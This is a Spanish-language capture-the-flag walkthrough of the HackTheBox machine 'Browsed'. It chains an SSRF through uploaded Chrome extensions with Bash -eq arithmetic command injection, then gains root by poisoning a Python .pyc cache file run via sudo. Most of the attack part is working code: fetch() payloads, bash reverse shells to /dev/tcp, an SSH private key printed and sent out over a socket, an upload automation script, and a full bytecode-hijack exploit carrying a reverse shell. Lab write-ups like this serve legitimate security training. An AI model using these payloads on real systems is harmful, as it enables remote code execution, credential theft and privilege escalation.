
Habilidades: Abusing Server-Side Request Forgery (SSRF) + Bash eq Arithmetic Comparison Code Execution - Google Chrome Extensions, Python Bytecode Poisoning + Abusing Sudoers Privileges [Privilege Escalation]
Introducción
Browsed es una máquina Linux de dificultad Medium en HackTheBox, donde se presenta una web vulnerable a Server-Side Request Forgery a través del procesamiento de extensiones de Google Chrome maliciosas. Combinado a una funcionalidad implementada en un servicio interno explotaremos la comparación aritmética del operador -eq en Bash usando solicitudes HTTP del lado del servidor para ganar acceso.
La escalada de privilegios es posible a través del envenenamiento de archivos bytecode de Pyhton, sumado al abuso de privilegios sudoers para la ejecución privilegiada de un script de Python local que ejecutará la librería envenenada.
Reconocimiento
Enviaremos una traza ICMP para comprobar que la máquina víctima se encuentre activa
ping -c1 10.129.1.64
PING 10.129.1.64 (10.129.1.64): 56 data bytes
64 bytes from 10.129.1.64: icmp_seq=0 ttl=63 time=184.884 ms
--- 10.129.1.64 ping statistics ---
1 packets transmitted, 1 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 184.884/184.884/184.884/0.000 ms
Port Scanning
Comenzaremos con un escaneo de puertos abiertos que intente identificar servicios expuestos en la máquina víctima
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.1.64 -oG openPorts
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-10 16:43 -0300
Nmap scan report for 10.129.1.64
Host is up (0.27s latency).
Not shown: 46920 closed tcp ports (reset), 18613 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 34.89 seconds
--open: Mostrar únicamente los puertos abiertos-p-: Hacer un escaneo del total de puertos (65535)--min-rate 5000: Enviar mínimo 5000 paquetes por segundo-n: No aplicar resolución DNS, lo que acelera el escaneo-sS: Modo de escaneo TCP SYN, no concluye la conexión, lo que hace el escaneo más ágil-Pn: Omitir el descubrimiento de host (ARP)-oG: Exportar en formatogrepable-v: Ver el progreso del escaneo
Lanzaremos un segundo escaneo más exhaustivo, esta vez intentaremos identificar la versión y los servicios que se ejecutan para cada puerto descubierto en la captura anterior
nmap -p 22,80 -sVC 10.129.1.64 -oN services
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-10 16:44 -0300
Nmap scan report for 10.129.1.64
Host is up (0.53s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_ 256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.51 seconds
-p: Especificar puertos-sV: Identificar la versión del servicio-sC: Uso de scripts de reconocimiento-oN: Exportar la salida en formato normal
Solamente vemos dos servicios, ssh y http, donde sus versiones no parecen presentar vulnerabilidades explotables para este contexto
Web Enumeration
Antes de utilizar un navegador, podemos lanzar un escaneo sobre las tecnologías del servidor web
whatweb http://10.129.1.64
http://10.129.1.64 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.129.1.64], JQuery, Script, Title[Browsed], nginx[1.24.0]
El servidor usa nginx en su versión 1.24.0, jquery y su sistema operativo es identificado como Ubuntu.
Al navegar hasta la IP de la máquina, veremos la siguiente página web

Chrome Extensions
En la pestaña Upload Extension (en upload.php), podremos subir una extensión al servidor. Se nos especifica que el formato debe ser .zip, además de que un desarrollador la probará y nos brindará feedback.
Los archivos deben estar en la raíz del
zip, ¡no dentro de carpetas!.

Extension Samples
En la pestaña Samples (en samples.html), encontraremos extensiones descargables que podemos usar de ejemplo para subirlas a la web, en mi caso elegiré ReplaceImages

Command
Al subir una extensión, podemos ver que el servidor muestra una salida, donde se detallan las operatorias realizadas con nuestra extensión
11634:11634:0114/210140.341345:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[11634:11634:0114/210140.346941:VERBOSE1:chrome_crash_reporter_client.cc(182)] GetCollectStatsConsent(): is_official_chrome_build is false so returning false
[11642:11642:0114/210140.377266:VERBOSE1:cdm_registration.cc(234)] Choosing hinted Widevine 4.10.2891.0 from /opt/chrome-linux64/WidevineCdm/_platform_specific/linux_x64/libwidevinecdm.so
...
<SNIP>
...
Cuando interceptamos la solicitud con un proxy HTTP (como Burosuite o Caido), podemos ver que el servidor ejecuta el siguiente comando para procesar la extensión

Este comando ejecuta una instancia de Google Chromesin interfaz gráfica con el propósito de ejecutar nuestra extensión.
Dentro de los parámetros podemos ver un nombre de dominio,
browsedinternals.htb
timeout 10s xvfb-run /opt/chrome-linux64/chrome --disable-gpu --no-sandbox --load-extension="/tmp/extension_69680a4a7687f4.05540741" --remote-debugging-port=0 --disable-extensions-except="/tmp/extension_69680a4a7687f4.05540741" --enable-logging=stderr --v=1 http://localhost/ http://browsedinternals.htb 2>&1 |tee /tmp/extension_69680a4a7687f4.05540741/output.log
Agregaremos este dominio a nuestro archivo /etc/hosts para poder aplicar resolución DNS hacia él
10.129.1.64 browsedinternals.htb
Gitea - browsedinternals.htb
Al navegar hasta el dominio browsedinternals.htb, veremos que se trata del servicio Gitea
Giteaes una plataforma de alojamiento de código fuente para Git, de código abierto, ligera y auto-alojada, diseñada para ser una alternativa simple y eficiente aGitHuboGitLab.

El servicio nos permite registrar una nueva cuenta desde la pestaña Register (en /user/sign_up)

MarkdownPreview Repository
Existe un repositorio público en esta instancia llamado MarkdownPreview que le pertenece al usuario larry (lo encontraremos al hacer clic en la pestaña Explore).
El usuario
larrypodría ser válido en el servidor, aunque no en todos los casos es efectivamente así.

Según el archivo README.md, este repositorio es una herramienta que permite convertir archivos md (Markdown) en html.
Al abrir el archivo app.py, veremos que se trata de un proyecto hecho en Flask
Flaskes un micro-framework dePythonligero y flexible para desarrollar aplicaciones web de forma rápida.
from flask import Flask, request, send_from_directory, redirect
from werkzeug.utils import secure_filename
import markdown
import os, subprocess
import uuid
app = Flask(__name__)
FILES_DIR = "files"
# Ensure the files/ directory exists
os.makedirs(FILES_DIR, exist_ok=True)
...
<SNIP>
...
/routines Endpoint
Existe un endpoint que usa la librería subprocess para ejecutar un script de bash ubicado en el directorio actual (de hecho, es el mismo que se ubica en la raíz del repositorio).
Este endpoint recibe un parámetro
ridy lo envía al scriptroutines.shpara ser ejecutado.
@app.route('/routines/<rid>')
def routines(rid):
# Call the script that manages the routines
# Run bash script with the input as an argument (NO shell)
subprocess.run(["./routines.sh", rid])
return "Routine executed !"
Inspeccionando el script de bash, notaremos que nuestro argumento rid, es procesado en bloques if a modo de una serie de comparaciones
#!/bin/bash
ROUTINE_LOG="/home/larry/markdownPreview/log/routine.log"
BACKUP_DIR="/home/larry/markdownPreview/backups"
DATA_DIR="/home/larry/markdownPreview/data"
TMP_DIR="/home/larry/markdownPreview/tmp"
log_action() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $1" >> "$ROUTINE_LOG"
}
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
find "$TMP_DIR" -type f -name "*.tmp" -delete
log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
elif [[ "$1" -eq 1 ]]; then
# Routine 1: Backup data
tar -czf "$BACKUP_DIR/data_backup_$(date '+%Y%m%d_%H%M%S').tar.gz" "$DATA_DIR"
log_action "Routine 1: Data backed up to $BACKUP_DIR."
echo "Backup completed."
elif [[ "$1" -eq 2 ]]; then
# Routine 2: Rotate logs
find "$ROUTINE_LOG" -type f -name "*.log" -exec gzip {} \;
log_action "Routine 2: Log files compressed."
echo "Logs rotated."
elif [[ "$1" -eq 3 ]]; then
# Routine 3: System info dump
uname -a > "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
df -h >> "$BACKUP_DIR/sysinfo_$(date '+%Y%m%d').txt"
log_action "Routine 3: System info dumped."
echo "System info saved."
else
log_action "Unknown routine ID: $1"
echo "Routine ID not implemented."
fi
Intrusión / Explotación
Bash -eq Arithmetic Comparison Code Execution
El script routines.sh del repositorio que vimos en Gitea usa el parámetro que enviamos con el operador -eq (equal o “igual a”) en la declaración if dentro de [[ ]].
Este operador crea comparaciones aritméticas, lo que significa que es posible manipular la variable de forma que ejecute un comando en el sistema.
Understanding Vulnerability
Usaremos un extracto del script routines.sh del repositorio para entender cómo es posible inyectar un comando en este contexto usando la práctica
#!/bin/bash
# poc.sh
if [[ "$1" -eq 0 ]]; then
# Routine 0: Clean temp files
#find "$TMP_DIR" -type f -name "*.tmp" -delete
#log_action "Routine 0: Temporary files cleaned."
echo "Temporary files cleaned."
fi
En
bash, el operador-eqdentro de[[ ]]crea una comparación en un contexto aritmético, esto permite realizar cálculos matemáticos directamente en scripts deshell.
Es posible forzar el nombre de un índice de array para una variable determinada, con el fin de que su valor contenga una sub-ejecución de un comando (por ejemplo, a través de $(id)).
Por ejemplo, si el valor que enviamos es0, la ejecución será normal y veremos el mensaje esperado
./poc.sh 0
Temporary files cleaned.
Sin embargo, aplicando este concepto podemos declarar el índice de un array asignado a una variable (en un contexto aritmético bash asume que cualquier palabra es el nombre de una variable, por lo que no importa si se llama x o y)
./poc.sh 'x[0]=0'
Temporary files cleaned.
./poc.sh 'y[0]=1' # Forzamos un 1 para evitar entrar en la condición
Según la documentación de bash, toda expresión aritmética sin que no esté definida o es nula, se evalúa con el valor 0.
Es necesario usar el descriptor de archivo (>) para redirigir la salida como si fuera un error e imprimirlo en la consola, enviándolo al error estándar (stderr)
./poc.sh 'x[$(whoami >&2)]'
incommatose
Temporary files cleaned.
Server-Side Request Forgery (SSRF)
Por otro lado, podemos modificar el código de una de las extensiones de ejemplo (en mi caso por comodidad usé ReplaceImages), con el fin de intentar que el servidor nos envíe una solicitud HTTP usando funciones de javascript como fetch()
fetch("http://10.10.14.54/test", {
mode: "no-cors"
});
Una vez guardemos el archivo .js, generaremos un nuevo archivo comprimido fácilmente con el comando zip
zip ssrf_test.zip content.js manifest.json
Subiremos la extensión en formato zip a la web para que pueda ser procesada.
Antes de enviar la extensión, iniciaremos un servidor HTTP con
python:python3 -m http.server 80 --bind 0.0.0.0

Al cabo de unos momentos deberíamos recibir una solicitud en nuestro servidor HTTP proveniente de la máquina víctima
python3 -m http.server 80 --bind 0.0.0.0
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.1.64 - - [14/Jan/2026 01:16:49] code 404, message File not found
10.129.1.64 - - [14/Jan/2026 01:16:49] "GET /test HTTP/1.1" 404 -
Python Scripting
Para evitar los pasos repetitivos al subir la extensión a la web, podemos utilizar un script de python simple que automatice el proceso de subida y envío al servidor
#!/usr/bin/env python3
# trigger_ssrf.py
# extension files used for this example: replaceimages.zip
import requests
import requests
import signal
import sys
import zipfile
SERVER_IP = '10.129.1.64'
ZIP_FILE = 'ssrf_test.zip'
SERVER_URL = f'http://{SERVER_IP}/upload.php'
FILES_TO_ZIP = {
'content.js',
'manifest.json'
}
# Optional proxy trough Burpsuite, if is disabled, remove proxies on requests.get() function
BURP = {'http': 'http://localhost:8080'}
# Ctrl+C Handler
def ctrl_c(sig, frame):
print('[!] Exiting...')
sys.exit(1)
signal.signal(signal.SIGINT, ctrl_c)
def compress_files():
try:
with zipfile.ZipFile(ZIP_FILE, 'w', zipfile.ZIP_DEFLATED) as zip_file:
for file in FILES_TO_ZIP:
zip_file.write(file)
return True
except Exception as e:
print(f'[-] Extension compression error: {e}')
return
def send_zip():
try:
files = { 'extension': (ZIP_FILE, open(ZIP_FILE, 'rb'), 'application/zip')}
response = requests.post(SERVER_URL, files=files, allow_redirects=False, proxies=BURP)
if response.status_code == 302:
return True
except Exception as e:
print(f'[!] ERROR: {e}')
return
if __name__ == "__main__":
print('[*] Compressing malicious extension')
if compress_files():
print(f'[+] Files compressed: {ZIP_FILE}')
print(f'[*] Sending evil extension to http://{SERVER_IP}')
if send_zip():
print(f'[+] Extension was sent')
Out-of-Band SSRF - RCE
Intentaremos explotar el endpoint /routines de la aplicación interna que corre en el puerto 5000 usando una extensión que envíe solicitudes hacia ella. Combinaremos el concepto de la comparación con -eq de bash con el concepto de solicitudes del lado del servidor (SSRF).
El siguiente archivo javascript se encarga de aplicar la lógica para que el servidor envíe una solicitud con fetch() con un payload hacia /routines.
Luego de unas pruebas manuales para lograr RCE, la forma de ejecutar comandos en mi caso funcionó a partir de la siguiente estructura:
echo COMMAND | base64 -d | bash, representando los espacios conURL Encode(%20) o usando la funciónencodeURIComponent().De esta forma evitaremos conflictos con ciertos caracteres al enviar comandos complejos.
const command = 'id > /dev/tcp/10.10.14.54/443';
const payload = "a[$(echo%20" + btoa(command) + "|base64%20-d|bash)]";
fetch("http://127.0.0.1:5000/routines/" + payload, {
mode: "no-cors"
})
Nota cómo la variable
payloaddeclara un índice dearraypara una variablea, el cual ejecutará el comando que especificamos en la variablecommand.El uso de
no-corses necesario para deshabilitar las restricciones del servidor en cuanto aCross-Origin Resource Sharing (CORS), más información sobre este mecanismo aquí.Esto nos permitirá enviar solicitudes correctamente, de lo contrario, no obtendremos resultados.
Para recibir el output del comando, podemos iniciar un listener por un puerto y hacer uso de un socket TCP con /dev/tcp/IP/PORT para enviarlo a nuestra IP.
nc -lvnp 443
Ejecutaremos el script de Python para enviar la extensión al servidor
./trigger_ssrf.py
[*] Compressing malicious extension
[+] Files compressed: ssrf_test.zip
[*] Sending evil extension to http://10.129.1.64
[+] Extension was sent
Al cabo de unos segundos, recibiremos la salida del comando id, esto es nuestra evidencia de que el comando fue ejecutado correctamente en el servidor
Connection from 10.129.1.64:59212
uid=1000(larry) gid=1000(larry) groups=1000(larry)
Shell as browsed
Para ganar acceso a la máquina, modificaremos el código de content.js para enviar una shell desde bash con un comando oneliner estándar
const command = 'bash -c "bash -i >& /dev/tcp/10.10.16.24/443 0>&1"';
const payload = "a[$(echo " + btoa(command) + "| base64 -d | bash)]";
fetch("http://127.0.0.1:5000/routines/" + encodeURIComponent(payload), {
mode: "no-cors"
});
Iniciaremos un listener que se encargue de recibir la conexión, en mi caso elegí el 443
nc -lvnp 443
Ejecutaremos el proceso para que el servidor intente cargar la extensión, subiremos el nuevo .zip que contiene el comando actualizado que nos enviará una reverse shell
./trigger_ssrf.py
[*] Compressing malicious extension
[+] Files compressed: exploit.zip
[*] Sending evil extension to http://10.129.1.64
[+] Extension was sent
Recibiremos una consola como el usuario larry
nc -lvnp 443
Connection from 10.129.4.228:43544
bash: cannot set terminal process group (1447): Inappropriate ioctl for device
bash: no job control in this shell
larry@browsed:~/markdownPreview$ id
id
uid=1000(larry) gid=1000(larry) groups=1000(larry)
TTY Treatment
Aplicaremos un tratamiento para conseguir una consola interactiva, donde podamos presionar Ctrl+C sin finalizar el proceso de la shell
larry@browsed:~/markdownPreview$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
larry@browsed:~/markdownPreview$ ^Z
[1] + 6704 suspended nc -lvnp 443
andrees@HackBookPro extension $ stty raw -echo;fg
[1] + 6704 continued nc -lvnp 443
reset xterm
larry@browsed:~/markdownPreview$ export TERM=xterm
larry@browsed:~/markdownPreview$ stty rows 44 columns 152
SSH Access
En el directorio .ssh del usuario larry, encontraremos su par de claves que le permiten iniciar sesión por SSH
larry@browsed:~$ ls -la .ssh
total 20
drwx------ 2 larry larry 4096 Jan 6 10:28 .
drwxr-x--- 9 larry larry 4096 Jan 6 11:11 ..
-rw------- 1 larry larry 95 Aug 17 12:49 authorized_keys
-rw------- 1 larry larry 399 Aug 17 12:48 id_ed25519
-rw-r--r-- 1 larry larry 95 Aug 17 12:48 id_ed25519.pub
larry@browsed:~$ cat .ssh/id_ed25519
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrwAAAJAXb7KHF2+y
hwAAAAtzc2gtZWQyNTUxOQAAACDZZIZPBRF8FzQjntOnbdwYiSLYtJ2VkBwQAS8vIKtzrw
AAAEBRIok98/uzbzLs/MWsrygG9zTsVa9GePjT52KjU6LoJdlkhk8FEXwXNCOe06dt3BiJ
Iti0nZWQHBABLy8gq3OvAAAADWxhcnJ5QGJyb3dzZWQ=
-----END OPENSSH PRIVATE KEY-----
Desde nuestro lado podemos iniciar un listener y reenviar todo lo que recibamos a un archivo
nc -lvnp 443 > id_ed25519
Enviaremos la clave privada hacia nuestra IP a través de un socket TCP usando la ruta /dev/tcp
larry@browsed:~$ cat .ssh/id_ed25519 > /dev/tcp/10.10.16.24/443
Ahora seremos capaces de conectarnos por SSH usando la clave privada como archivo de identidad
chmod 600 id_ed25519 # Permisos necesarios
ssh -i id_ed25519 larry@10.129.4.228
Last login: Sun Jan 11 15:20:03 2026 from 10.10.16.24
larry@browsed:~$ id
uid=1000(larry) gid=1000(larry) groups=1000(larry)
Ya podremos ver la flag del usuario no privilegiado, aunque antes de este paso ya podríamos haberla leído
larry@browsed:~/markdownPreview$ cat ../user.txt
d77...
Escalada de Privilegios
Sudoers Privileges - Custom Python Script
Al listar los privilegios configurados con sudo para el usuario larry, veremos que somos capaces de ejecutar un script de python sin proporcionar contraseña, el cual se encuentra en /opt/extensiontool/
larry@browsed:~/markdownPreview$ sudo -l
Matching Defaults entries for larry on browsed:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User larry may run the following commands on browsed:
(root) NOPASSWD: /opt/extensiontool/extension_tool.py
Script Analysis - extension_tool.py
El script extension_tool.py importa un script personalizado como una librería (extension_utils), para poder utilizar las funciones validate_manifest, clean_temp_files
#!/usr/bin/python3.12
import json
import os
from argparse import ArgumentParser
from extension_utils import validate_manifest, clean_temp_files
import zipfile
EXTENSION_DIR = '/opt/extensiontool/extensions/'
def bump_version(data, path, level='patch'):
version = data["version"]
major, minor, patch = map(int, version.split('.'))
if level == 'major':
major += 1
minor = patch = 0
elif level == 'minor':
minor += 1
patch = 0
else:
patch += 1
new_version = f"{major}.{minor}.{patch}"
data["version"] = new_version
with open(path, 'w', encoding='utf-8') as f:
json.dump(data, f, indent=2)
print(f"[+] Version bumped to {new_version}")
return new_version
def package_extension(source_dir, output_file):
temp_dir = '/opt/extensiontool/temp'
if not os.path.exists(temp_dir):
os.mkdir(temp_dir)
output_file = os.path.basename(output_file)
with zipfile.ZipFile(os.path.join(temp_dir,output_file), 'w', zipfile.ZIP_DEFLATED) as zipf:
for foldername, subfolders, filenames in os.walk(source_dir):
for filename in filenames:
filepath = os.path.join(foldername, filename)
arcname = os.path.relpath(filepath, source_dir)
zipf.write(filepath, arcname)
print(f"[+] Extension packaged as {temp_dir}/{output_file}")
def main():
parser = ArgumentParser(description="Validate, bump version, and package a browser extension.")
parser.add_argument('--ext', type=str, default='.', help='Which extension to load')
parser.add_argument('--bump', choices=['major', 'minor', 'patch'], help='Version bump type')
parser.add_argument('--zip', type=str, nargs='?', const='extension.zip', help='Output zip file name')
parser.add_argument('--clean', action='store_true', help="Clean up temporary files after packaging")
args = parser.parse_args()
if args.clean:
clean_temp_files(args.clean)
args.ext = os.path.basename(args.ext)
if not (args.ext in os.listdir(EXTENSION_DIR)):
print(f"[X] Use one of the following extensions : {os.listdir(EXTENSION_DIR)}")
exit(1)
extension_path = os.path.join(EXTENSION_DIR, args.ext)
manifest_path = os.path.join(extension_path, 'manifest.json')
manifest_data = validate_manifest(manifest_path)
# Possibly bump version
if (args.bump):
bump_version(manifest_data, manifest_path, args.bump)
else:
print('[-] Skipping version bumping')
# Package the extension
if (args.zip):
package_extension(extension_path, args.zip)
else:
print('[-] Skipping packaging')
if __name__ == '__main__':
main()
Local Module - extension_utils.py
Inspeccionando el código de /opt/extensiontool/extension_utils.py, notaremos que no parece presentar vulnerabilidades explotables
import os
import json
import subprocess
import shutil
from jsonschema import validate, ValidationError
# Simple manifest schema that we'll validate
MANIFEST_SCHEMA = {
"type": "object",
"properties": {
"manifest_version": {"type": "number"},
"name": {"type": "string"},
"version": {"type": "string"},
"permissions": {"type": "array", "items": {"type": "string"}},
},
"required": ["manifest_version", "name", "version"]
}
# --- Manifest validate ---
def validate_manifest(path):
with open(path, 'r', encoding='utf-8') as f:
data = json.load(f)
try:
validate(instance=data, schema=MANIFEST_SCHEMA)
print("[+] Manifest is valid.")
return data
except ValidationError as e:
print("[x] Manifest validation error:")
print(e.message)
exit(1)
# --- Clean Temporary Files ---
def clean_temp_files(extension_dir):
""" Clean up temporary files or unnecessary directories after packaging """
temp_dir = '/opt/extensiontool/temp'
if os.path.exists(temp_dir):
shutil.rmtree(temp_dir)
print(f"[+] Cleaned up temporary directory {temp_dir}")
else:
print("[+] No temporary files to clean.")
exit(0)
Python Bytecode Poisoning
Listando el directorio /opt/extensiontool, notaremos permisos de escritura asignado a todos los usuarios (world-writable) sobre el directorio __pycache__.
Esto habilita la posibilidad de un ataque a través de la sobrescritura de archivos bytecode.
larry@browsed:~$ ls -la /opt/extensiontool
total 28
drwxr-xr-x 5 root root 4096 Jan 11 14:27 .
drwxr-xr-x 4 root root 4096 Aug 17 12:55 ..
drwxrwxr-x 5 root root 4096 Mar 23 2025 extensions
-rwxrwxr-x 1 root root 2739 Mar 27 2025 extension_tool.py
-rw-rw-r-- 1 root root 1245 Mar 23 2025 extension_utils.py
drwxrwxrwx 2 root root 4096 Jan 11 14:30 __pycache__
drwxr-xr-x 2 root root 4096 Jan 11 14:27 temp
En este caso, luego de una primera ejecución del script, el directorio __pycache__ almacenará un archivo bytecode del script extension_utils.py
larry@browsed:~/markdownPreview$ sudo /opt/extensiontool/extension_tool.py
[X] Use one of the following extensions : ['Fontify', 'Timer', 'ReplaceImages']
larry@browsed:~$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
[+] Manifest is valid.
[-] Skipping version bumping
[-] Skipping packaging
# Post-execution
larry@browsed:/tmp$ ls -la /opt/extensiontool/__pycache__/
total 12
drwxrwxrwx 2 root root 4096 Jan 11 21:54 .
drwxr-xr-x 4 root root 4096 Dec 11 07:54 ..
-rw-r--r-- 1 root root 1880 Jan 11 21:54 extension_utils.cpython-312.pyc
Understanding Python Code Execution
Cuando ejecutamos código python desde un archivo .py, este primeramente es compilado en bytecode, el que actúa como un puente entre el código fuente y el intérprete de Python (Python Virtual Machine).
Bytecodees una representación intermedia de bajo nivel del código fuente dePythonque se ejecuta mediante la máquina virtual dePython(PVM).
Python Cache
Python almacena estos archivos compilados en el directorio __pycache__, permitiendo ejecutar los scripts más rápido en ejecuciones posteriores. Este mecanismo optimiza la carga y ejecución de módulos, evitando la re-compilación constante.
El directorio
__pycache__es una carpeta quePythoncrea automáticamente para almacenar archivos debytecode(.pyc).
PEP 552 - Deterministic pycs
El
PEP 552, introducido desdePython 3.7, representa una mejora en la forma en que el intérprete dePythonvalida los archivosbytecode.
Antes de PEP 552, Python validaba los archivos bytecode usando timestamps del archivo .py del código fuente, esto no era del todo confiable por cómo se calcula una marca de tiempo en diversos entornos (precisión).
La estructura general del header de un archivo .pyc contiene:
Magic Number, identifica la versión depython(4 bytes).- Campo de
flags(4 bytes, introducido porPEP 552) . - Datos de validación (
timestampohash,8 bytes).
El nuevo campo de flags define cómo debe validarse el archivo .pyc por el intérprete:
0000 0000: Validación portimestamp(marca de tiempo y tamaño enbytes).0100 0000: Validación porUnchecked hash-based.0300 0000: Validación porChecked hash-based.
En cuanto a la validación basada en hash, PEP 552 define dos modos:
Checked hash:Pythoncalcula nuevamente el hash del archivo.pyy lo compara con el del hash embebido del archivo.pyc.Unchecked hash:Pythonno valida el hash, confiando en que elpyces válido.
Haciendo un análisis rápido de esto para poner en práctica este pequeño aprendizaje, comprobaremos el archivo bytecode generado una vez ejecutemos el script con sudo
larry@browsed:/tmp/.dontlookatthis$ cat /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc | xxd | head -n 1
00000000: cb0d 0d0a 0000 0000 d3e8 df67 dd04 0000 ...........g....
- En este caso los primeros
4 bytescorresponden alMagic Number, en este casocb0denLittle-Endianrepresentaría3531, este es un código interno enPythonque representa a la versión3.12. - Los
bytes 0000 0000representan el modo de validación, en este caso como el bit0vale0, corresponde a validación portimestamp. - El resto de
bytesde esta línea corresponde al valor de la marca de tiempo (d3e8 df67enLittle-Endiany convertido atimestamp, que representaDomingo, 23 de Marzo, 2025 10:56:19 AM) y el tamaño del script original (dd04 0000enLittle-Endian, o sea,1245 bytes).
Exploiting
El siguiente script de Python ajustado a nuestro caso automatiza la explotación.
- Se extraen los bytes del archivo
bytecodeoriginal para ser implantados en un nuevobytecodemalicioso. - Compilamos el
bytecodecon el código que requiere el scriptextension_tool.py, el cual usa las funcionesvalidate_manifestyclean_temp_files. - Copiamos nuestro
bytecodeal directorio__pycache__de destino, desde donde en la siguiente ejecución el intérprete dePyhtonimportará las funciones maliciosas.
# hjijack.py
import marshal
import time
import sys
import dis
import struct
import os
attacker_ip = '10.10.16.24'
attacker_port = '443'
target_bytecode = '/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc'
evil_script = './extension_utils.py'
if os.path.exists(target_bytecode):
f = open(target_bytecode, 'rb')
else:
print('[-] No Bytecode detected, please execute sudo python_script.py to gerenate it')
sys.exit(1)
# Extraemos los magic numbers
magic = f.read(4)
print('magic=' + ' '.join([hex(i) for i in bytearray(magic)]))
# Extraremos las flags
flags = f.read(4)
fv = int.from_bytes(flags, byteorder='little') & 0xf
print(f'hash_based={bool(fv & 0x1)}, checked_hash={bool(fv & 0x2)}, unchecked_hash={bool(fv & 0x4)}, size_based={bool(fv & 0x8)}')
# Extraemos el timestamp
timestamp = f.read(8)
t, s = struct.unpack('<LL', timestamp)
print('timestamp='+time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(t)))
# Deserializacion
code = marshal.load(f)
# Codigo Python malicioso a ejecutar
payload = (
"import os\n"
"def validate_manifest(path):\n"
f" os.system(\"bash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'\")\n"
" return\n"
"def clean_temp_files(extension_dir):\n"
" pass\n"
)
# Compilamos un nuevo bytecode
c2 = compile(payload, evil_script, "exec")
code2 = marshal.dumps(c2)
f.close()
# Eliminamos el bytecode si existe
if os.path.exists(target_bytecode):
print('[*] Bytecode detected, removing...')
os.remove(target_bytecode)
# Sobrescribimos el bytecode
with open(target_bytecode, 'wb') as outfile:
print('[*] Writing a new poisoned Bytecode')
outfile.write(magic + flags + timestamp + code2)
print(f"[+] Done: {target_bytecode}")
Root Time
Ejecutaremos el script hijack.py para sobrescribir el archivo bytecode generado para el script extension_utils.py.
Las funciones maliciosas se ejecutarán en la función
main()del scriptextension_tool.py, por lo que solamente necesitamos ejecutarlo normalmente.
larry@browsed:/tmp$ python3 hijack.py
magic=0xcb 0xd 0xd 0xa
hash_based=False, checked_hash=False, unchecked_hash=False, size_based=False
timestamp=2025-03-23 10:56:19
[*] Bytecode detected, removing...
[*] Writing a new poisoned Bytecode
[+] Done: /opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc
Como el archivo
bytecodeoriginal solamente utiliza validación portimestamp, el script solamente necesita copiar la marca de tiempo además del tamaño debytesen el nuevo script para cumplir con este requisito.
Iniciaremos un listener para recibir la conexión, el puerto debe coincidir con el comando que usamos para el bytecode
nc -lvnp 443
Para activar la ejecución de nuestro bytecode, necesitaremos volver a ejecutar el script con sudo
larry@browsed:/tmp$ sudo /opt/extensiontool/extension_tool.py --ext Fontify
De forma inmediata, recibiremos una consola como el usuario root en nuestro listener
Connection from 10.129.4.228:44898
root@browsed:/tmp# id
id
uid=0(root) gid=0(root) groups=0(root)
Ya podremos ver la última flag ubicada en el directorio /root
root@browsed:/tmp# cd
root@browsed:~# cat root.txt
d79...
Gracias por leer, a continuación te dejo la cita del día.
We are Divine enough to ask and we are important enough to receive. — Wayne Dyer